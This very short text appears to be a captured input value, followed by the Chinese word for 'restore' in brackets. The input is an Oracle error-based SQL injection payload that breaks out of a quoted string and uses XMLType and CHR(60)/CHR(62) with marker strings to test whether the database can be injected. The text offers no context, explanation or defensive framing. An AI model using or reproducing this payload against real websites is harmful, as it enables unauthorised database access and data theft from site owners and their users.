atestu' AND 4709=(SELECT UPPER(XMLType(CHR(60)||'06O4c9mk'||(SELECT (CASE WHEN (4709=4709) THEN 1 ELSE 0 END) FROM DUAL)||'06O4c9mk'||CHR(62))) FROM DUAL) AND '06O4c9mk'='06O4c9mk

[还原]